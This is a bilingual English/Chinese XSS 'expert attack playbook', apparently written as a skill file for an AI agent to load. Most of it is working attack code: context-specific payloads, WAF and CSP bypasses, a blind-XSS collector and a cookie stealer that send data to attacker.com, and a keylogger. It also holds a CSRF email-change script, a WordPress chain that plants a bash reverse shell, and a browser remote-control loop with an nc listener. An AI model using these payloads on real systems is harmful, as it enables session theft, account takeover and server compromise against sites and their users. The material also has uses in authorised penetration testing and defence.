xss-cross-site-scripting
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
SKILL: 跨站脚本(XSS)—— 专家攻击手册
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.<script>alert(1)</script>
AI加载说明: 本技能涵盖非通用XSS技巧、上下文专属Payload选择、WAF绕过、CSP绕过以及漏洞利用后操作。假设读者已经了解的基础用法——本文仅覆盖基础大模型通常遗漏的内容。如需获取真实世界CVE案例、HttpOnly绕过策略、XS-Leaks侧信道攻击以及会话固定攻击内容,请加载配套的SCENARIOS.md。<script>alert(1)</script>
0. RELATED ROUTING
0. 关联技能跳转
Extended Scenarios
扩展场景
Also load SCENARIOS.md when you need:
- Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
- UTF-7 XSS for legacy IE environments ()
+ADw-script+AD4- - HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
- XS-Leaks side channel attacks — timing oracle, cache probing, measurement
performance.now() - Session fixation via XSS — pre-set session ID before victim login
- DOM clobbering techniques for CSP-restricted environments
Before broad payload spraying, you can first load:
- upload insecure files when you need the full upload path: validation, storage, preview, and sharing behavior
当你需要以下内容时也可加载SCENARIOS.md:
- Django调试页面XSS(CVE-2017-12794)—— 重复键错误 → 未转义的异常信息 → XSS
- 适配旧版IE环境的UTF-7 XSS ()
+ADw-script+AD4- - HttpOnly绕过方法论——浏览器代理、会话 riding、CSRF-via-XSS
- XS-Leaks侧信道攻击——时间预言机、缓存探测、测量
performance.now() - 基于XSS的会话固定——在受害者登录前预设会话ID
- 适配CSP受限环境的DOM clobbering技巧
在大规模Payload喷洒之前,你可以先加载:
- 不安全文件上传 以获取完整上传链路逻辑:校验、存储、预览和分享行为
Quick context picks
快速上下文选择
| Context | First Pick | Backup |
|---|---|---|
| HTML body | | |
| Quoted attribute | | |
| JavaScript string | | |
| URL / href sink | | |
Tag body like | | |
| SVG / XML sink | | XHTML namespace payload |
html
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>| 上下文 | 首选Payload | 备用Payload |
|---|---|---|
| HTML body | | |
| 带引号的属性 | | |
| JavaScript字符串 | | |
| URL / href sink | | |
类似 | | |
| SVG / XML sink | | XHTML命名空间Payload |
html
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>1. INJECTION CONTEXT MATRIX
1. 注入上下文矩阵
Identify context before picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | | | |
| HTML attribute value | | | |
| Inline attr, no tag close | Quoted, | Event injection | |
| Block tag (title/script/textarea) | | Close tag first | |
| href / src / data / action | link or form | Protocol | |
| JS string (single quote) | | Break string | |
| JS string with escape | Backslash escaping | Double escape | |
| JS logical block | Inside if/function | Close + inject | |
| JS anywhere on page | | Break script | |
XML page ( | XML content-type | XML namespace | |
选择Payload前先识别上下文。上下文匹配错误 = 无效尝试。
| 上下文 | 特征标识 | 注入开头 | Payload |
|---|---|---|---|
| 标签外的HTML内容 | | | |
| HTML属性值 | | | |
| 内联属性,无标签闭合 | 带引号, | 事件注入 | |
| 块级标签(title/script/textarea) | | 先闭合标签 | |
| href / src / data / action | 链接或表单 | 协议头 | |
| JS字符串(单引号) | | 打断字符串 | |
| 带转义的JS字符串 | 反斜杠转义 | 双重转义 | |
| JS逻辑块 | if/function内部 | 闭合+注入 | |
| 页面任意JS位置 | | 打断脚本 | |
XML页面( | XML content-type | XML命名空间 | |
2. MULTI-REFLECTION ATTACKS
2. 多反射点攻击
When input reflects in multiple places on the same page — single payload triggers from all points:
html
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>当输入在同一页面的多个位置反射时——单个Payload可在所有位置触发:
html
<!-- 双反射点 -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- 三反射点 -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- 两个独立输入(p= 和 q=) -->
p=<svg/1='&q='onload=alert(1)>3. ADVANCED INJECTION VECTORS
3. 高级注入向量
DOM Insert Injection (when reflection is in DOM not source)
DOM插入注入(反射出现在DOM而非源码中)
Input inserted via , , jQuery :
.innerHTMLdocument.write.html()html
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>For URL-controlled resource insertion:
html
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>输入通过、、jQuery 插入:
.innerHTMLdocument.write.html()html
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>针对URL可控的资源插入场景:
html
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>PHP_SELF Path Injection
PHP_SELF路径注入
When URL itself is reflected in form :
actionhttps://target.com/page.php/"><svg onload=alert(1)>?param=valInject between and , using leading .
.php?/当URL本身反射在表单中时:
actionhttps://target.com/page.php/"><svg onload=alert(1)>?param=val在和之间注入,使用前置。
.php?/File Upload XSS
文件上传XSS
Filename injection (when filename is reflected):
"><svg onload=alert(1)>.gifSVG upload (stored XSS via image upload accepting SVG):
xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>Metadata injection (when EXIF is reflected):
bash
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg文件名注入(当文件名会被反射时):
"><svg onload=alert(1)>.gifSVG上传(接受SVG的图片上传场景导致的存储型XSS):
xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>元数据注入(当EXIF会被反射时):
bash
exiftool -Artist='"><svg onload=alert(1)>' photo.jpegpostMessage XSS (no origin check)
postMessage XSS(无来源校验)
When page has without origin validation:
window.addEventListener('message', ...)html
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">当页面存在但未做来源校验时:
window.addEventListener('message', ...)html
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">postMessage Origin Bypass
postMessage来源绕过
When origin IS checked but uses or prefix match:
.includes()http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>Attacker controls subdomain.
facebook.com.ATTACKER.com当存在来源校验但使用或前缀匹配时:
.includes()http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>攻击者可控子域名。
facebook.com.ATTACKER.comXML-Based XSS
基于XML的XSS
Response has or :
text/xmlapplication/xmlhtml
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>响应为或类型:
text/xmlapplication/xmlhtml
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>Script Injection Without Closing Tag
无需闭合标签的脚本注入
When there IS a tag later in the page:
</script>html
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>当页面后续存在标签时:
</script>html
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>4. CSP BYPASS TECHNIQUES
4. CSP绕过技巧
JSONP Endpoint Bypass (allow-listed domain has JSONP)
JSONP端点绕过(白名单域名存在JSONP接口)
html
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>html
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>AngularJS CDN Bypass (allow-listed ajax.googleapis.com
)
ajax.googleapis.comAngularJS CDN绕过(ajax.googleapis.com
在白名单中)
ajax.googleapis.comhtml
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>Angular Expressions (server encodes HTML but AngularJS evaluates)
Angular表达式(服务端编码HTML但AngularJS会执行表达式)
When evaluates to on page — classic CSTI indicator:
{{1+1}}2javascript
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}当在页面中计算为时——典型CSTI特征:
{{1+1}}2javascript
// Angular 1.x沙箱逃逸:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}base-uri Injection (CSP without base-uri restriction)
base-uri注入(CSP无base-uri限制)
html
<base href="https://attacker.com/">Relative loads from attacker's server.
<script src=...>html
<base href="https://attacker.com/">相对路径的会从攻击者服务器加载资源。
<script src=...>DOM-based via Dangling Markup
基于悬挂标记的DOM型绕过
When CSP blocks script but allows :
imghtml
<img src='https://attacker.com/log?Leaks subsequent page content to attacker.
当CSP拦截脚本但允许时:
imghtml
<img src='https://attacker.com/log?将后续页面内容泄露给攻击者。
5. FILTER AND WAF BYPASS
5. 过滤器与WAF绕过
Parameter Name Attack (WAF checks value not name)
参数名攻击(WAF仅校验参数值不校验参数名)
When parameter names are reflected (e.g., in JSON output):
?"></script><base%20c%3D=href%3Dhttps:\mysite>Payload is the parameter name, not value.
当参数名会被反射时(例如JSON输出中):
?"></script><base%20c%3D=href%3Dhttps:\mysite>Payload是参数名而非参数值。
Encoding Chains
编码链
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tagTest sequence: reflect → encoding behavior → identify filter logic → mutate.
%253C → 双重编码的 <
%26lt; → HTML实体双重编码
<%00h2 → 空字节注入
%0d%0a → 标签内的CRLF测试流程:反射校验 → 编码行为识别 → 过滤器逻辑定位 → Payload变异。
Tag Mutation (blacklist bypass)
标签变异(黑名单绕过)
html
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of spacehtml
<ScRipt> ← 大小写变化
</script/x> ← 尾部冗余字符
<script ← 不完整标签(依赖后续的>闭合)
<%00iframe ← 空字节
<svg/onload= ← 斜杠代替空格Fragmented Injection (strip-tags bypass)
碎片化注入(strip-tags绕过)
Filter strips :
<x>...</x>"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//过滤器会删除:
<x>...</x>"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//Vectors Without Event Handlers
无事件处理器向量
html
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>clickhtml
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click6. SECOND-ORDER XSS
6. 二阶XSS
Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
<svg/onload=alert(1)>Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.
定义: 输入被存储(通常会被标准化/HTML编码),后续被取出插入DOM时未重新编码。
经典触发Payload(绕过即时HTML编码):
<svg/onload=alert(1)>检查点:个人资料字段、显示名、论坛帖子——任何数据被存储后,会在不同上下文(例如管理面板 vs 用户端页面)重新渲染的位置。
存储型 → 管理员上下文XSS: 危害最高——使用构造的用户名注册,等待管理员查看用户列表即可触发。
7. BLIND XSS METHODOLOGY
7. 盲XSS方法论
Every parameter that is not immediately reflected should be tested for blind XSS:
- Contact forms, feedback fields
- User-agent / referer
- Registration fields
- Error log injections
Blind XSS callback payload (remote JS file approach):
html
"><script src=//attacker.com/bxss.js></script>Minimal collector (hosted at ):
bxss.jsjavascript
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));Use XSS Hunter or similar blind XSS platform for automated collection.
每个不会即时反射的参数都应该测试盲XSS:
- 联系表单、反馈字段
- User-agent / referer
- 注册字段
- 错误日志注入
盲XSS回调Payload(远程JS文件方案):
html
"><script src=//attacker.com/bxss.js></script>极简收集脚本(部署在):
bxss.jsjavascript
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));使用XSS Hunter或同类盲XSS平台实现自动化收集。
8. XSS EXPLOITATION CHAIN
8. XSS利用链
Cookie Steal
Cookie窃取
javascript
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation insteadjavascript
fetch('//attacker.com/?c='+document.cookie)
// 受HttpOnly保护的Cookie → 无法通过JS窃取,需改用CSRF或会话固定Keylogger
键盘记录器
javascript
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}javascript
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
基于XSS的CSRF(绕过CSRF防护,从DOM读取CSRF token)
javascript
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);javascript
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);WordPress XSS → RCE (admin session + Hello Dolly plugin):
WordPress XSS → RCE(管理员会话 + Hello Dolly插件):
javascript
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }javascript
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }Browser Remote Control (JS command shell)
浏览器远程控制(JS命令shell)
javascript
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)bash
undefinedjavascript
// 注入到受害者端:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)bash
undefinedAttacker listener:
攻击者端监听:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
---while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
---9. DECISION TREE
9. 决策树
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions测试XSS入口点
├── 输入在响应中反射?
│ ├── 是 → 识别上下文(HTML / JS / 属性 / URL)
│ │ → 选择适配上下文的Payload
│ │ → 若被拦截 → 检查过滤器行为
│ │ │ → 尝试编码、大小写变异、碎片化
│ │ │ → 检查参数名是否会被反射(WAF漏洞)
│ │ └── 成功 → 升级利用(Cookie窃取 / CSRF / RCE)
│ └── 否 → 是否会被存储? → 注入盲XSS Payload
│ 是否在DOM中? → 检查JS源码中的不安全sink
│ (innerHTML, eval, document.write, location.href)
└── 存在CSP?
├── 检查白名单域名上的JSONP端点
├── 检查CDN白名单中是否存在AngularJS
├── 检查是否缺失base-uri限制 → <base>注入
└── 检查是否存在unsafe-eval或unsafe-inline例外10. XSS TESTING PROCESS (ZSEANO METHOD)
10. XSS测试流程(ZSEANO方法)
- Step 1 — Test non-malicious tags: ,
<h2>,<img>— are they reflected raw?<table> - Step 2 — Test incomplete tags: (no closing
<iframe src=//attacker.com/c=)> - Step 3 — Encoding probes: ,
<%00h2,%0d,%0a,%09%253C - Step 4 — If filtering and
<script>but NOTonerror(without close):<script<script src=//attacker.com?c= - Step 5 — Blacklist check: does work? Does
<svg>work?<ScRiPt> - Note: the same filter likely exists elsewhere — if they filter in search, do they filter it in file upload filename? In profile bio?
<script>
Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.
- 步骤1 — 测试非恶意标签: ,
<h2>,<img>— 它们是否原样反射?<table> - 步骤2 — 测试不完整标签: (无闭合
<iframe src=//attacker.com/c=)> - 步骤3 — 编码探测: ,
<%00h2,%0d,%0a,%09%253C - 步骤4 — 如果过滤和
<script>但未过滤onerror(无闭合):<script<script src=//attacker.com?c= - 步骤5 — 黑名单检查: 是否可用?
<svg>是否可用?<ScRiPt> - 注意: 相同的过滤器大概率在其他位置也存在 — 如果他们在搜索框过滤了, 会不会在文件上传文件名、个人简介中也过滤?
<script>
核心洞察: 过滤器存在 = 漏洞存在,开发者尝试过修补。可以在整个应用中顺着这个逻辑挖掘其他漏洞。